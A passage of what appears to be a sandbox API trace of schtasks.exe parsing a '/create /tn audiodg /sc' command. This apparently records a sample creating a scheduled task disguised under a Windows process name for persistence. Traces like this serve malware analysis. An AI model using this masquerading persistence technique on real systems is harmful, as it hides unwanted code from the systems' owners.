(HeapHandle=0x310000, Flags=0xc, Size=0x16) returned 0x32d640 [0070.377] SetLastError (dwErrCode=0x0) [0070.377] _memicmp (_Buf1=0x32bb70, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.378] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x32bd10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0070.378] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0070.378] GetProcessHeap () returned 0x310000 [0070.378] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x74e) returned 0x32ddd0 [0070.379] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x32ddd0 | out: lpData=0x32ddd0) returned 1 [0070.379] VerQueryValueW (in: pBlock=0x32ddd0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1bc2b8, puLen=0x1bc320 | out: lplpBuffer=0x1bc2b8*=0x32e16c, puLen=0x1bc320) returned 1 [0070.379] _memicmp (_Buf1=0x32bb70, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.379] _vsnwprintf (in: _Buffer=0x32bd10, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x1bc298 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0070.379] VerQueryValueW (in: pBlock=0x32ddd0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x1bc328, puLen=0x1bc318 | out: lplpBuffer=0x1bc328*=0x32df98, puLen=0x1bc318) returned 1 [0070.379] lstrlenW (lpString="schtasks.exe") returned 12 [0070.379] lstrlenW (lpString="schtasks.exe") returned 12 [0070.379] lstrlenW (lpString=".EXE") returned 4 [0070.379] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0070.380] lstrlenW (lpString="schtasks.exe") returned 12 [0070.380] lstrlenW (lpString=".EXE") returned 4 [0070.380] lstrlenW (lpString="schtasks") returned 8 [0070.380] lstrlenW (lpString="/create") returned 7 [0070.380] _memicmp (_Buf1=0x32bb70, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.380] _vsnwprintf (in: _Buffer=0x32bd10, _BufferCount=0x19, _Format="%s %s", _ArgList=0x1bc298 | out: _Buffer="schtasks /create") returned 16 [0070.380] _memicmp (_Buf1=0x32bb90, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.380] GetProcessHeap () returned 0x310000 [0070.380] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32ce60 [0070.380] _memicmp (_Buf1=0x32bbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.380] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x32d3c0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0070.380] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0070.380] GetProcessHeap () returned 0x310000 [0070.380] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x30) returned 0x327bc0 [0070.380] _vsnwprintf (in: _Buffer=0x32c110, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x1bc298 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0070.381] GetProcessHeap () returned 0x310000 [0070.381] GetProcessHeap () returned 0x310000 [0070.381] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32ddd0) returned 1 [0070.381] GetProcessHeap () returned 0x310000 [0070.381] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32ddd0) returned 0x74e [0070.382] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32ddd0 | out: hHeap=0x310000) returned 1 [0070.382] SetLastError (dwErrCode=0x0) [0070.382] GetThreadLocale () returned 0x409 [0070.382] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0070.382] lstrlenW (lpString="create") returned 6 [0070.382] GetThreadLocale () returned 0x409 [0070.382] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0070.382] lstrlenW (lpString="?") returned 1 [0070.382] GetThreadLocale () returned 0x409 [0070.382] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0070.382] lstrlenW (lpString="s") returned 1 [0070.382] GetThreadLocale () returned 0x409 [0070.382] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0070.382] lstrlenW (lpString="u") returned 1 [0070.382] GetThreadLocale () returned 0x409 [0070.382] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0070.382] lstrlenW (lpString="p") returned 1 [0070.382] GetThreadLocale () returned 0x409 [0070.383] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0070.383] lstrlenW (lpString="ru") returned 2 [0070.383] GetThreadLocale () returned 0x409 [0070.383] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0070.383] lstrlenW (lpString="rp") returned 2 [0070.383] GetThreadLocale () returned 0x409 [0070.383] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0070.383] lstrlenW (lpString="sc") returned 2 [0070.383] GetThreadLocale () returned 0x409 [0070.383] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0070.383] lstrlenW (lpString="mo") returned 2 [0070.383] GetThreadLocale () returned 0x409 [0070.383] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0070.383] lstrlenW (lpString="d") returned 1 [0070.383] GetThreadLocale () returned 0x409 [0070.383] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0070.383] lstrlenW (lpString="m") returned 1 [0070.383] GetThreadLocale () returned 0x409 [0070.383] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0070.384] lstrlenW (lpString="i") returned 1 [0070.384] GetThreadLocale () returned 0x409 [0070.384] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0070.384] lstrlenW (lpString="tn") returned 2 [0070.384] GetThreadLocale () returned 0x409 [0070.384] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0070.384] lstrlenW (lpString="tr") returned 2 [0070.384] GetThreadLocale () returned 0x409 [0070.384] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0070.384] lstrlenW (lpString="st") returned 2 [0070.384] GetThreadLocale () returned 0x409 [0070.384] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0070.384] lstrlenW (lpString="sd") returned 2 [0070.384] GetThreadLocale () returned 0x409 [0070.384] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0070.384] lstrlenW (lpString="ed") returned 2 [0070.384] GetThreadLocale () returned 0x409 [0070.385] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0070.385] lstrlenW (lpString="it") returned 2 [0070.385] GetThreadLocale () returned 0x409 [0070.385] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0070.385] lstrlenW (lpString="et") returned 2 [0070.385] GetThreadLocale () returned 0x409 [0070.385] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0070.385] lstrlenW (lpString="k") returned 1 [0070.385] GetThreadLocale () returned 0x409 [0070.385] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0070.385] lstrlenW (lpString="du") returned 2 [0070.385] GetThreadLocale () returned 0x409 [0070.385] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0070.385] lstrlenW (lpString="ri") returned 2 [0070.385] GetThreadLocale () returned 0x409 [0070.385] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0070.385] lstrlenW (lpString="z") returned 1 [0070.385] GetThreadLocale () returned 0x409 [0070.385] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0070.386] lstrlenW (lpString="f") returned 1 [0070.386] GetThreadLocale () returned 0x409 [0070.386] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0070.386] lstrlenW (lpString="v1") returned 2 [0070.386] GetThreadLocale () returned 0x409 [0070.386] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0070.386] lstrlenW (lpString="xml") returned 3 [0070.386] GetThreadLocale () returned 0x409 [0070.386] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0070.386] lstrlenW (lpString="ec") returned 2 [0070.386] GetThreadLocale () returned 0x409 [0070.386] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0070.386] lstrlenW (lpString="rl") returned 2 [0070.386] GetThreadLocale () returned 0x409 [0070.386] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0070.386] lstrlenW (lpString="delay") returned 5 [0070.386] GetThreadLocale () returned 0x409 [0070.386] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0070.386] lstrlenW (lpString="np") returned 2 [0070.386] SetLastError (dwErrCode=0x0) [0070.386] SetLastError (dwErrCode=0x0) [0070.387] lstrlenW (lpString="/create") returned 7 [0070.387] lstrlenW (lpString="-/") returned 2 [0070.387] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0070.387] lstrlenW (lpString="create") returned 6 [0070.387] lstrlenW (lpString="create") returned 6 [0070.387] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.387] lstrlenW (lpString="create") returned 6 [0070.387] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.387] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|create|") returned 8 [0070.387] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|create|") returned 8 [0070.387] lstrlenW (lpString="|create|") returned 8 [0070.387] lstrlenW (lpString="|create|") returned 8 [0070.387] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0070.387] SetLastError (dwErrCode=0x0) [0070.387] SetLastError (dwErrCode=0x0) [0070.387] SetLastError (dwErrCode=0x0) [0070.387] lstrlenW (lpString="/tn") returned 3 [0070.387] lstrlenW (lpString="-/") returned 2 [0070.387] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0070.387] lstrlenW (lpString="create") returned 6 [0070.387] lstrlenW (lpString="create") returned 6 [0070.387] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.388] lstrlenW (lpString="tn") returned 2 [0070.388] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.388] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|create|") returned 8 [0070.388] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|tn|") returned 4 [0070.388] lstrlenW (lpString="|create|") returned 8 [0070.388] lstrlenW (lpString="|tn|") returned 4 [0070.388] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0070.388] SetLastError (dwErrCode=0x490) [0070.388] lstrlenW (lpString="?") returned 1 [0070.388] lstrlenW (lpString="?") returned 1 [0070.388] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.388] lstrlenW (lpString="tn") returned 2 [0070.388] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.388] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|?|") returned 3 [0070.388] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|tn|") returned 4 [0070.388] lstrlenW (lpString="|?|") returned 3 [0070.388] lstrlenW (lpString="|tn|") returned 4 [0070.388] SetLastError (dwErrCode=0x490) [0070.388] lstrlenW (lpString="s") returned 1 [0070.389] lstrlenW (lpString="s") returned 1 [0070.389] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.389] lstrlenW (lpString="tn") returned 2 [0070.389] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.389] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|s|") returned 3 [0070.389] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|tn|") returned 4 [0070.389] lstrlenW (lpString="|s|") returned 3 [0070.389] lstrlenW (lpString="|tn|") returned 4 [0070.389] SetLastError (dwErrCode=0x490) [0070.389] lstrlenW (lpString="u") returned 1 [0070.389] lstrlenW (lpString="u") returned 1 [0070.389] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.389] lstrlenW (lpString="tn") returned 2 [0070.389] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.389] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|u|") returned 3 [0070.389] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|tn|") returned 4 [0070.389] lstrlenW (lpString="|u|") returned 3 [0070.389] lstrlenW (lpString="|tn|") returned 4 [0070.389] SetLastError (dwErrCode=0x490) [0070.389] lstrlenW (lpString="p") returned 1 [0070.389] lstrlenW (lpString="p") returned 1 [0070.389] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.389] lstrlenW (lpString="tn") returned 2 [0070.389] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.389] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|p|") returned 3 [0070.389] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|tn|") returned 4 [0070.390] lstrlenW (lpString="|p|") returned 3 [0070.390] lstrlenW (lpString="|tn|") returned 4 [0070.390] SetLastError (dwErrCode=0x490) [0070.390] lstrlenW (lpString="ru") returned 2 [0070.390] lstrlenW (lpString="ru") returned 2 [0070.390] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.390] lstrlenW (lpString="tn") returned 2 [0070.390] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.390] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|ru|") returned 4 [0070.390] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|tn|") returned 4 [0070.390] lstrlenW (lpString="|ru|") returned 4 [0070.390] lstrlenW (lpString="|tn|") returned 4 [0070.390] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0070.390] SetLastError (dwErrCode=0x490) [0070.390] lstrlenW (lpString="rp") returned 2 [0070.390] lstrlenW (lpString="rp") returned 2 [0070.390] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.390] lstrlenW (lpString="tn") returned 2 [0070.390] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.390] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|rp|") returned 4 [0070.390] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|tn|") returned 4 [0070.390] lstrlenW (lpString="|rp|") returned 4 [0070.390] lstrlenW (lpString="|tn|") returned 4 [0070.390] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0070.390] SetLastError (dwErrCode=0x490) [0070.390] lstrlenW (lpString="sc") returned 2 [0070.390] lstrlenW (lpString="sc") returned 2 [0070.390] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.390] lstrlenW (lpString="tn") returned 2 [0070.391] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.391] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|sc|") returned 4 [0070.391] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|tn|") returned 4 [0070.391] lstrlenW (lpString="|sc|") returned 4 [0070.391] lstrlenW (lpString="|tn|") returned 4 [0070.391] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0070.391] SetLastError (dwErrCode=0x490) [0070.391] lstrlenW (lpString="mo") returned 2 [0070.391] lstrlenW (lpString="mo") returned 2 [0070.391] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.391] lstrlenW (lpString="tn") returned 2 [0070.391] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.391] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|mo|") returned 4 [0070.391] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|tn|") returned 4 [0070.391] lstrlenW (lpString="|mo|") returned 4 [0070.391] lstrlenW (lpString="|tn|") returned 4 [0070.391] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0070.391] SetLastError (dwErrCode=0x490) [0070.391] lstrlenW (lpString="d") returned 1 [0070.391] lstrlenW (lpString="d") returned 1 [0070.391] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.391] lstrlenW (lpString="tn") returned 2 [0070.391] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.391] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|d|") returned 3 [0070.391] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|tn|") returned 4 [0070.391] lstrlenW (lpString="|d|") returned 3 [0070.391] lstrlenW (lpString="|tn|") returned 4 [0070.391] SetLastError (dwErrCode=0x490) [0070.391] lstrlenW (lpString="m") returned 1 [0070.391] lstrlenW (lpString="m") returned 1 [0070.391] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.392] lstrlenW (lpString="tn") returned 2 [0070.392] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.392] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|m|") returned 3 [0070.392] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|tn|") returned 4 [0070.392] lstrlenW (lpString="|m|") returned 3 [0070.392] lstrlenW (lpString="|tn|") returned 4 [0070.392] SetLastError (dwErrCode=0x490) [0070.392] lstrlenW (lpString="i") returned 1 [0070.392] lstrlenW (lpString="i") returned 1 [0070.392] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.392] lstrlenW (lpString="tn") returned 2 [0070.392] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.392] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|i|") returned 3 [0070.392] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|tn|") returned 4 [0070.392] lstrlenW (lpString="|i|") returned 3 [0070.392] lstrlenW (lpString="|tn|") returned 4 [0070.392] SetLastError (dwErrCode=0x490) [0070.392] lstrlenW (lpString="tn") returned 2 [0070.392] lstrlenW (lpString="tn") returned 2 [0070.392] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.392] lstrlenW (lpString="tn") returned 2 [0070.392] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.392] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|tn|") returned 4 [0070.392] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|tn|") returned 4 [0070.392] lstrlenW (lpString="|tn|") returned 4 [0070.392] lstrlenW (lpString="|tn|") returned 4 [0070.392] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0070.392] SetLastError (dwErrCode=0x0) [0070.392] SetLastError (dwErrCode=0x0) [0070.392] lstrlenW (lpString="audiodg") returned 7 [0070.392] lstrlenW (lpString="-/") returned 2 [0070.393] StrChrIW (lpStart="-/", wMatch=0x61) returned 0x0 [0070.393] SetLastError (dwErrCode=0x490) [0070.393] SetLastError (dwErrCode=0x490) [0070.393] SetLastError (dwErrCode=0x0) [0070.393] lstrlenW (lpString="audiodg") returned 7 [0070.393] StrChrIW (lpStart="audiodg", wMatch=0x3a) returned 0x0 [0070.393] SetLastError (dwErrCode=0x490) [0070.393] SetLastError (dwErrCode=0x0) [0070.393] lstrlenW (lpString="audiodg") returned 7 [0070.393] SetLastError (dwErrCode=0x0) [0070.393] SetLastError (dwErrCode=0x0) [0070.393] lstrlenW (lpString="/sc") returned 3 [0070.393] lstrlenW (lpString="-/") returned 2 [0070.393] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0070.393] lstrlenW (lpString="create") returned 6 [0070.393] lstrlenW (lpString="create") returned 6 [0070.393] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.393] lstrlenW (lpString="sc") returned 2 [0070.393] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.393] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|create|") returned 8 [0070.393] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|sc|") returned 4 [0070.393] lstrlenW (lpString="|create|") returned 8 [0070.393] lstrlenW (lpString="|sc|") returned 4 [0070.393] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0070.393] SetLastError (dwErrCode=0x490) [0070.393] lstrlenW (lpString="?") returned 1 [0070.393] lstrlenW (lpString="?") returned 1 [0070.393] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.393] lstrlenW (lpString="sc") returned 2 [0070.393] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.393] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|?|") returned 3 [0070.393] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|sc|") returned 4 [0070.394] lstrlenW (lpString="|?|") returned 3 [0070.394] lstrlenW (lpString="|sc|") returned 4 [0070.394] SetLastError (dwErrCode=0x490) [0070.394] lstrlenW (lpString="s") returned 1 [0070.394] lstrlenW (lpString="s") returned 1 [0070.394] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.394] lstrlenW (lpString="sc") returned 2 [0070.394] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.394] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|s|") returned 3 [0070.394] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|sc|") returned 4 [0070.394] lstrlenW (lpString="|s|") returned 3 [0070.394] lstrlenW (lpString="|sc|") returned 4 [0070.394] SetLastError (dwErrCode=0x490) [0070.394] lstrlenW (lpString="u") returned 1 [0070.394] lstrlenW (lpString="u") returned 1 [0070.394] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.394] lstrlenW (lpString="sc") returned 2 [0070.394] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.394] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|u|") returned 3 [0070.394] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|sc|") returned 4 [0070.394] lstrlenW (lpString="|u|") returned 3 [0070.394] lstrlenW (lpString="|sc|") returned 4 [0070.394] SetLastError (dwErrCode=0x490) [0070.394] lstrlenW (lpString="p") returned 1 [0070.394] lstrlenW (lpString="p") returned 1 [0070.394] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.394] lstrlenW (lpString="sc") returned 2 [0070.394] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.394] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|p|") returned 3 [0070.395] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|sc|") returned 4 [0070.395] lstrlenW (lpString="|p|") returned 3 [0070.395] lstrlenW (lpString="|sc|") returned 4 [0070.395] SetLastError (dwErrCode=0x490) [0070.395] lstrlenW (lpString="ru") returned 2 [0070.395] lstrlenW (lpString="ru") returned 2 [0070.395] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.395] lstrlenW (lpString="sc") returned 